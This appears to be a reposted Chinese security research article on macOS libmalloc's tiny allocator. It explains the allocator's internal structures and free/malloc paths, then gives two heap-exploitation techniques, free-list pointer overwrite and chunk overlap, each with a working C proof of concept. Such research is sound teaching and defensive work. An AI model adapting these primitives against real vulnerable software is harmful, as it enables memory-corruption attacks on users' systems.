macOS libmalloc 堆利用之一:Tiny 篇

Posted 星阑科技

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了macOS libmalloc 堆利用之一:Tiny 篇相关的知识,希望对你有一定的参考价值。



macOS libmalloc 堆利用之一:Tiny 篇
前言
macOS libmalloc 堆利用之一:Tiny 篇



MacOS 的堆管理结构采用的是 libmalloc,苹果公司也将这部分源代码进行了开源 。在 Angelboy 大神制作过的 Slide 的讲解基础上,本文通过源码和 poc,对 libmalloc 的一些基本原理和内容,以及一些相关的可利用技巧进行详细的阐述与说明。


正如 ptmalloc 的 fastbin、smallbin、unsorted bin 等一样,根据申请和释放的内存的不同的大小,libmalloc也进行了不同的匹配模式,分别为tiny、small、large。所以,第一篇文章主要是将详细介绍libmalloc的tiny机制,以及tiny的相关利用技巧。


本文涉及的 POC 代码等相关内容,可以在星阑科技的 Github 仓库[1]和研究组博客[2] 中找到,欢迎关注和 Star!


[1] https://github.com/StarCross-Tech/

[2] https://research.starcross.cn/



macOS libmalloc 堆利用之一:Tiny 篇
基础
macOS libmalloc 堆利用之一:Tiny 篇

首先要对一些基础知识进行扫盲,因为libmalloc的操作里用到的结构体很多,所以刚接触起来会有些乱。这里我并不会对每个结构体进行过于详细的剖析,只介绍一下接下来可能会需要用到的成员的含义。可以把基础这部分作为一个字典,后续行文之中如果出现一些疑惑,可以再回到这里来寻找想要的答案。


macOS libmalloc 堆利用之一:Tiny 篇
Quantum


Tiny和small内存之中的可以申请的最小单位quantum,大小为0x10字节,在源代码中其实也用block来表示。正如你在ptmalloc中执行malloc(1),也不会直接分配给你1字节一样。而且不同的是,libmalloc中申请出来的堆块是不存在头部数据的。


所以在libmalloc中的堆快,记录其size信息的并不是像ptmalloc的以字节为单位的size,而是以quantum为单位的msize。


macOS libmalloc 堆利用之一:Tiny 篇
szone


Szone 是整个内存管理的核心结构,记录着内存管理中其余各种关键结构体的指针和s相关信息,不需要做太深入的了解。


https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_zone.h.auto.html


typedef struct szone_s { // vm_allocate()'d, so page-aligned to begin with. malloc_zone_t basic_zone; // first page will be given read-only protection uint8_t pad[PAGE_MAX_SIZE - sizeof(malloc_zone_t)];
unsigned long cpu_id_key; // unused // remainder of structure is R/W (contains no function pointers) unsigned debug_flags; void *log_address;
/* Allocation racks per allocator type. */ struct rack_s tiny_rack; struct rack_s small_rack; struct rack_s medium_rack;
/* large objects: all the rest */ _malloc_lock_s large_szone_lock MALLOC_CACHE_ALIGN; // One customer at a time for large unsigned num_large_objects_in_use; unsigned num_large_entries; large_entry_t *large_entries; // hashed by location; null entries don't count size_t num_bytes_in_large_objects;
#if CONFIG_LARGE_CACHE int large_entry_cache_oldest; int large_entry_cache_newest; large_entry_t large_entry_cache[LARGE_ENTRY_CACHE_SIZE_HIGH]; // "death row" for large malloc/free int large_cache_depth; size_t large_cache_entry_limit; boolean_t large_legacy_reset_mprotect; size_t large_entry_cache_reserve_bytes; size_t large_entry_cache_reserve_limit; size_t large_entry_cache_bytes; // total size of death row, bytes#endif
/* flag and limits pertaining to altered malloc behavior for systems with * large amounts of physical memory */ bool is_medium_engaged;
/* security cookie */ uintptr_t cookie;
/* The purgeable zone constructed by create_purgeable_zone() would like to hand off tiny and small * allocations to the default scalable zone. Record the latter as the "helper" zone here. */ struct szone_s *helper_zone;
boolean_t flotsam_enabled;} szone_t;


macOS libmalloc 堆利用之一:Tiny 篇
malloc_zont_t


Malloc_zont_t 是一个vtable,里面存储着malloc、free、calloc各种负责垃圾回收的函数的指针的一个结构体。


https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/include/malloc/malloc.h.auto.html


typedef struct _malloc_zone_t { /* Only zone implementors should depend on the layout of this structure; Regular callers should use the access functions below */ void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */ void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */ size_t (* MALLOC_ZONE_FN_PTR(size))(struct _malloc_zone_t *zone, const void *ptr); /* returns the size of a block or 0 if not in this zone; must be fast, especially for negative answers */ void *(* MALLOC_ZONE_FN_PTR(malloc))(struct _malloc_zone_t *zone, size_t size); void *(* MALLOC_ZONE_FN_PTR(calloc))(struct _malloc_zone_t *zone, size_t num_items, size_t size); /* same as malloc, but block returned is set to zero */ void *(* MALLOC_ZONE_FN_PTR(valloc))(struct _malloc_zone_t *zone, size_t size); /* same as malloc, but block returned is set to zero and is guaranteed to be page aligned */ void (* MALLOC_ZONE_FN_PTR(free))(struct _malloc_zone_t *zone, void *ptr); void *(* MALLOC_ZONE_FN_PTR(realloc))(struct _malloc_zone_t *zone, void *ptr, size_t size); void (* MALLOC_ZONE_FN_PTR(destroy))(struct _malloc_zone_t *zone); /* zone is destroyed and all memory reclaimed */ const char *zone_name;
/* Optional batch callbacks; these may be NULL */ unsigned (* MALLOC_ZONE_FN_PTR(batch_malloc))(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); /* given a size, returns pointers capable of holding that size; returns the number of pointers allocated (maybe 0 or less than num_requested) */ void (* MALLOC_ZONE_FN_PTR(batch_free))(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); /* frees all the pointers in to_be_freed; note that to_be_freed may be overwritten during the process */
struct malloc_introspection_t * MALLOC_INTROSPECT_TBL_PTR(introspect); unsigned version;
/* aligned memory allocation. The callback may be NULL. Present in version >= 5. */ void *(* MALLOC_ZONE_FN_PTR(memalign))(struct _malloc_zone_t *zone, size_t alignment, size_t size);
/* free a pointer known to be in zone and known to have the given size. The callback may be NULL. Present in version >= 6.*/ void (* MALLOC_ZONE_FN_PTR(free_definite_size))(struct _malloc_zone_t *zone, void *ptr, size_t size);
/* Empty out caches in the face of memory pressure. The callback may be NULL. Present in version >= 8. */ size_t (* MALLOC_ZONE_FN_PTR(pressure_relief))(struct _malloc_zone_t *zone, size_t goal);
/* * Checks whether an address might belong to the zone. May be NULL. Present in version >= 10. * False positives are allowed (e.g. the pointer was freed, or it's in zone space that has * not yet been allocated. False negatives are not allowed. */ boolean_t (* MALLOC_ZONE_FN_PTR(claimed_address))(struct _malloc_zone_t *zone, void *ptr);} malloc_zone_t;


macOS libmalloc 堆利用之一:Tiny 篇
Tiny_region


Region是内存分配池,tiny_region顾名思义就是tiny堆块的内存分配池嘛。里面有好多quantum单位,就是里面的block,我们申请的内存其实都是从这里给我们分配出来的。


类比于ptmalloc来说,可以简单类比成topchunk。


其尾部都是一些bitmap结构,为了快速查询其中各部分内存的大小和使用情况,以便加速内存申请时的查询过程。


https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_zone.h.auto.html


typedef struct tiny_header_inuse_pair { uint32_t header; uint32_t inuse;} tiny_header_inuse_pair_t;
typedef struct { // Block indices are +1 so that 0 represents no free block. uint16_t first_block; uint16_t last_block;} region_free_blocks_t;
typedef struct region_trailer { uint32_t region_cookie; volatile int32_t pinned_to_depot; struct region_trailer *prev; struct region_trailer *next; boolean_t recirc_suitable; unsigned bytes_used; unsigned objects_in_use; // Used only by tiny allocator. mag_index_t mag_index;} region_trailer_t;
typedef struct tiny_region { tiny_block_t blocks[NUM_TINY_BLOCKS];
region_trailer_t trailer;
// The interleaved bit arrays comprising the header and inuse bitfields. // The unused bits of each component in the last pair will be initialized to sentinel values. tiny_header_inuse_pair_t pairs[CEIL_NUM_TINY_BLOCKS_WORDS];
// Indices of the first and last free block in this region. Value is the // block index + 1 so that 0 indicates no free block in this region for the // corresponding slot. region_free_blocks_t free_blocks_by_slot[NUM_TINY_SLOTS];
uint8_t pad[TINY_REGION_PAD];} * tiny_region_t;


macOS libmalloc 堆利用之一:Tiny 篇
Magazine


Magazine 可以类比为glibc里面的arena结构。它的作用是用来管理堆的各种情况。


Magazine 有一层缓存结构,用来存储最新被free的ptr的各种信息。因为这种cache是直接记录 free 的 ptr 信息的,属于一种伪free操作,所以申请出来的时候不需要 unlink 操作,可以提升一些速度。但是必须满足 msize 完全相同才会将 cache 中的 ptr 返回,而不会发生从其中切取一部分内存的情况。


Magazine 有记录 free 情况的双向链表形式的free_list,但是这个双向链表不是循环双向链表。


Magazine 和 region 在内存分布上是彼此分离的,这样原语信息记录在magazine上,region只在过程中充当一个topchunk的功能,为了在某种程度上防止堆溢出吧。


https://opensource.apple.com/source/libmalloc/libmalloc-166.251.2/src/magazine_zone.h.auto.html


typedef struct magazine_s { // vm_allocate()'d, so the array of magazines is page-aligned to begin with. // Take magazine_lock first, Depot lock when needed for recirc, then szone->{tiny,small}_regions_lock when needed for alloc _malloc_lock_s magazine_lock MALLOC_CACHE_ALIGN; // Protection for the crtical section that does allocate_pages outside the magazine_lock volatile boolean_t alloc_underway;
// One element deep "death row", optimizes malloc/free/malloc for identical size. void *mag_last_free; msize_t mag_last_free_msize; // msize for mag_last_free#if MALLOC_TARGET_64BIT uint32_t _pad;#endif region_t mag_last_free_rgn; // holds the region for mag_last_free
free_list_t mag_free_list[MAGAZINE_FREELIST_SLOTS]; uint32_t mag_bitmap[MAGAZINE_FREELIST_BITMAP_WORDS];
// the first and last free region in the last block are treated as big blocks in use that are not accounted for size_t mag_bytes_free_at_end; size_t mag_bytes_free_at_start; region_t mag_last_region; // Valid iff mag_bytes_free_at_end || mag_bytes_free_at_start > 0
// bean counting ... size_t mag_num_bytes_in_objects; size_t num_bytes_in_magazine; unsigned mag_num_objects;
// recirculation list -- invariant: all regions owned by this magazine that meet the emptiness criteria // are located nearer to the head of the list than any region that doesn't satisfy that criteria. // Doubly linked list for efficient extraction. unsigned recirculation_entries; region_trailer_t *firstNode; region_trailer_t *lastNode;
#if MALLOC_TARGET_64BIT uintptr_t pad[320 - 14 - MAGAZINE_FREELIST_SLOTS - (MAGAZINE_FREELIST_BITMAP_WORDS + 1) / 2];#else uintptr_t pad[320 - 16 - MAGAZINE_FREELIST_SLOTS - MAGAZINE_FREELIST_BITMAP_WORDS];#endif
} magazine_t;


macOS libmalloc 堆利用之一:Tiny 篇
Rack


Rack 负责对magazine进行管理,我们需要知道的其最大的作用实际上是有cookie,负责对该rack区域的各种ptr做checksum的时候需要用到。


https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_rack.h.auto.html


typedef struct rack_s { /* Regions for tiny objects */ _malloc_lock_s region_lock MALLOC_CACHE_ALIGN;
rack_type_t type; size_t num_regions; size_t num_regions_dealloc; region_hash_generation_t *region_generation; region_hash_generation_t rg[2]; region_t initial_regions[INITIAL_NUM_REGIONS];
int num_magazines; unsigned num_magazines_mask; int num_magazines_mask_shift; uint32_t debug_flags;
// array of per-processor magazines magazine_t *magazines;
uintptr_t cookie; uintptr_t last_madvise;} rack_t;


macOS libmalloc 堆利用之一:Tiny 篇
堆管理机制
macOS libmalloc 堆利用之一:Tiny 篇


macOS libmalloc 堆利用之一:Tiny 篇


macOS libmalloc 堆利用之一:Tiny 篇
free


https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_tiny.c.auto.html


函数位置为free_tiny。根据free的ptr,定位到其对应的region和magazine,重点要关注magazine结构中的这三个成员:


void *mag_last_free;msize_t mag_last_free_msize; // msize for mag_last_freeregion_t mag_last_free_rgn;     // holds the region for mag_last_free


这实际上是一层缓存结构,初始化之后是空的。源代码中可以看到做了简单的防止double free的检测。最新被free的ptr,和ptr的msize信息,以及对应的region信息,会存储在这三个字段。


所以在分析libmalloc的机制的时候,要始终记住这个有些奇怪的思维,那就是最新free的操作都会被进行cache相关处理而,然后上一次被free操作的堆块才会在此时进行真正的关于free_list的操作。


当有新的ptr被free之后,这个缓存结构的所有会被新的ptr进行相应的更新,原来在缓存结构中ptr才会进入到下一阶段关于free_list之中。


之后从缓存结构中提取出来的ptr和相关信息,才会进入到下一步tiny_free_no_lock之中。在这个函数里,free的ptr会根据msize计算出前后的内存的状态,然后进行前向合并以及后向合并。合并之后根据新堆块ptr的msize,将ptr放入到新的对应的freelist中。


这里会对需要合并的堆块ptr做tiny_free_list_remove_ptr的操作,相当于ptmalloc中的unlink的操作,而且是有严格的前后指针检测版本的unlink。


还有需要注意的就是,它们的fd和bk并不是原始的fd和bk,而是做了checksum和unchecksum处理的指针,这里就用到了rack中的cookie。对应的checksum和unchecksum函数如下:


static MALLOC_INLINE uintptr_tfree_list_checksum_ptr(rack_t *rack, void *ptr){ uintptr_t p = (uintptr_t)ptr; return (p >> NYBBLE) | ((free_list_gen_checksum(p ^ rack->cookie) & (uintptr_t)0xF) << ANTI_NYBBLE); // compiles to rotate instruction}
static MALLOC_INLINE void *free_list_unchecksum_ptr(rack_t *rack, inplace_union *ptr){ inplace_union p; uintptr_t t = ptr->u;
t = (t << NYBBLE) | (t >> ANTI_NYBBLE); // compiles to rotate instruction p.u = t & ~(uintptr_t)0xF;
if ((t ^ free_list_gen_checksum(p.u ^ rack->cookie)) & (uintptr_t)0xF) { free_list_checksum_botch(rack, ptr, (void *)ptr->u); __builtin_trap(); } return p.p;}


这里unchecksum出现问题可是会直接报错退出的。合并之后,会把原来已经存在于free_list之中的堆块从对应的free_list中移除,然后又会通过tiny_free_list_add_ptr来把合并处理之后新的ptr加入到对应的freelist之中。


这里简单分析一下tiny free的流程,主要是为了对整个流程心中有数,对其中一些结构的作用有一些印象。libmalloc的free显然不是一个好的攻击面,从源代码中存在的一些检测中就可以大致看出,double free和house of spirit这两条路基本都被堵死了。


这里其实可以注意到,经过checksum操作之后的cookie值,实际上只有高位4bit,1/16的爆破概率,给了我们无尽的可利用空间。


macOS libmalloc 堆利用之一:Tiny 篇
malloc


https://opensource.apple.com/source/libmalloc/libmalloc-283.40.1/src/magazine_tiny.c.auto.html


首先,小于等于1008B的动态内存申请的请求,都会来到tiny的过程中。


其核心函数可以直接来到``tiny_malloc_should_clear`

会先去比较请求的size转化得到其对应的msize,再去和缓存结构中的msize是否相同,相同则直接把缓存结构中的ptr返回即可,再将缓存信息全部清空,即可完成操作。


如果缓存结构的msize不满足条件,那么就会进入到free_list中搜寻,关键函数为tiny_malloc_from_free_list,这里会根据msize找到对应的freelist,找到则直接则返回对应的freelist的第一个元素,之后对应的next元素的原语会进行对应的更新。这里针对previouse和next指针的操作都会进行unchecksum的处理,处理出错程序就会报错退出,这也是libmalloc在缓解堆溢出所做出的策略。


而如果没有msize刚好可以对应的freelist,则会从最接近msize的最适合的freelist的位置提取,然后进行切割,满足的部分返还给用户的请求,之后切割后的剩余部分再放到满足新的msize条件的free_list之中。


如果上述机制依然找不到msize合适的freelist,那么就会从region的最后一块进行切割,相当于在topchunk上做切割。


* 值得一提的是,最新版本的libmalloc的结构体发生了一些变化,可能做了更严格的检测,暂时没进行深入的探究。


macOS libmalloc 堆利用之一:Tiny 篇
利用
macOS libmalloc 堆利用之一:Tiny 篇


上述free的流程里,可以看到double free这种利用手法在libmalloc的tiny中基本已经是失效了,所以参照angelboy的思路,从UAF和堆溢出的角度入手探究可利用的方式,下面是两种手法的原理和poc。


macOS libmalloc 堆利用之一:Tiny 篇
free_list overwrite attack


当msize可以在free_list得到匹配的时候,会从free_list的第一个元素取下,因为free_list是双向链表,所以下一个元素的链表结构也会被更新,所以这里free_list的核心机制代码如下:


ptr = free_list->p;if (ptr) { next = free_list_unchecksum_ptr(rack, &ptr->next); free_list->p = next; if (next) { next->previous = ptr->previous; } else { BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot); } this_msize = get_tiny_free_size(ptr); goto add_leftover_and_proceed;}


所以这里如果通过UAF或者堆溢出等相关漏洞,控制了ptr的next和previous的值,就可以实现向任意地址写任意值的操作。


next->previous = ptr->previous;


这里因为提取next的时候需要进行unchecksum操作的原因,而checksum我们无法得知,所以poc的成功率不是100%,多跑几次就可以看到效果了。POC如下:


#include <stdio.h>#include <stdlib.h>#include <stdint.h>
uint64_t victim = 0x1234;
int main(int argc, const char * argv[]) { void *p1,*p2,*p3,*p4,*p5;
p1 = malloc(0x20); p2 = malloc(0x20); p3 = malloc(0x20); p4 = malloc(0x20);
p5 = malloc(0x30);
printf("victim address: %p, victim's value: 0x%lx ", &victim, victim);
free(p1); free(p3); free(p5);
printf("%p and %p will be freed in freelist ", p1, p3); printf("%p will be freed in cache ", p5);
printf("%p's data is: [%p, %p, %p, %p] ", p1, *(uint64_t*)p1 ,*(uint64_t*)(p1+8), *(uint64_t*)(p1+0x10), *(uint64_t*)(p1+0x18)); printf("%p's data is: [%p, %p, %p, %p] ", p3, *(uint64_t*)p3 ,*(uint64_t*)(p3+8), *(uint64_t*)(p3+0x10), *(uint64_t*)(p3+0x18));
*(uint64_t*)p3 = 0xdeadbeef; uint32_t checksum = *(uint32_t*)(p3+8+4); printf("checksum: %p ", checksum>>28); *(uint64_t*)(p3+8) = ((uint64_t)&victim>>4); *(uint32_t*)(p3+8+4) = checksum;
printf("%p's data is: [%p, %p, %p, %p] ", p3, *(uint64_t*)p3 ,*(uint64_t*)(p3+8), *(uint64_t*)(p3+0x10), *(uint64_t*)(p3+0x18));

printf("malloc 0x20 to trigger attack. "); malloc(0x20);
printf("after attack, victim address: %p, victim's value: 0x%lx ", &victim, victim); return 0;}


macOS libmalloc 堆利用之一:Tiny 篇
overlap chunk attack



next_msize = get_tiny_free_size(next_block);// ...tiny_free_list_remove_ptr(rack, tiny_mag_ptr, next_block, next_msize);set_tiny_meta_header_middle(next_block); msize += next_msize;



之后还有一些代码,就是把合并后新的chunk根据新计算出的msize重新放入到对应的free_list之中。



#include <stdio.h>#include <stdlib.h>#include <stdint.h>
int main(int argc, const char * argv[]) {
setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); void *p1,*p2,*p3,*p4,*p5;
p1 = malloc(0x30); p2 = malloc(0x50); p3 = malloc(0x40); p4 = malloc(0x20);

free(p2); free(p4);
printf("%p's data is: [%p, %p, %p, %p] ", p2, *(uint64_t*)p2 ,*(uint64_t*)(p2+8), *(uint64_t*)(p2+0x10), *(uint64_t*)(p2+0x18));
*(uint64_t*)p2 = 0; *(uint64_t*)(p2+8) = 0; *(uint8_t*)(p2+0x10) = 0x9;
printf("change %p's msize ", p2); printf("%p's data is: [%p, %p, %p, %p] ", p2, *(uint64_t*)p2 ,*(uint64_t*)(p2+8), *(uint64_t*)(p2+0x10), *(uint64_t*)(p2+0x18));

free(p1); free(p3);
printf("free %p to cache, free %p to free_list ", p3, p1);
void* t1 = malloc(0xc0);
printf("use %p to trigger chunk overlap. ", t1);
void* t2 = malloc(0x40); printf("get pointer %p from cache ", t2); *(uint64_t*)t2 = 0x1234;
printf("%p's data: %p ", t2, *(uint64_t*)t2); *(uint64_t*)(t1+0x80) = 0xdeadbeef;
printf("use %p chunk overlap to change %p's data ", t1, t2);
printf("after overlap, %p's data: %p ", t2, *(uint64_t*)t2);
return 0;}




macOS libmalloc 堆利用之一:Tiny 篇







macOS libmalloc 堆利用之一:Tiny 篇

北京星阑科技有限公司(简称星阑科技)是一家以安全技术为核心、AI技术为驱动的网络安全科技公司,致力于提供高级攻防服务和智能化网络安全解决方案,以应对政府、企业所面临的日益严峻的网络安全威胁,让网络空间更加安全与智慧。



目前,星阑科技提供攻防对抗、APT防御、高级渗透等安全服务,为客户全面梳理威胁矩阵、进行安全赋能。产品包括攻击诱捕系统、邮件攻击一体化系统、基于前沿的图神经网络的智能边界防护引擎以及AI自动化漏洞挖掘系统,能全面提升客户的安全防护能力并有效降低安全运维成本。



关注星阑科技

获取更多安全咨询





以上是关于macOS libmalloc 堆利用之一:Tiny 篇的主要内容,如果未能解决你的问题,请参考以下文章

介绍ArcGIS中各种数据的打开方法——tin(栅格文件)

自动评估堆溢出的崩溃

排序算法 | 堆排序

MacOS上的顶栏效率工具最强没有之一:Hammerspoon

在ArcEngine中如何读取tin的数据,需要读所有三角网的点号、坐标?

arcgis 为啥创建tin中 输出tin没有文件显示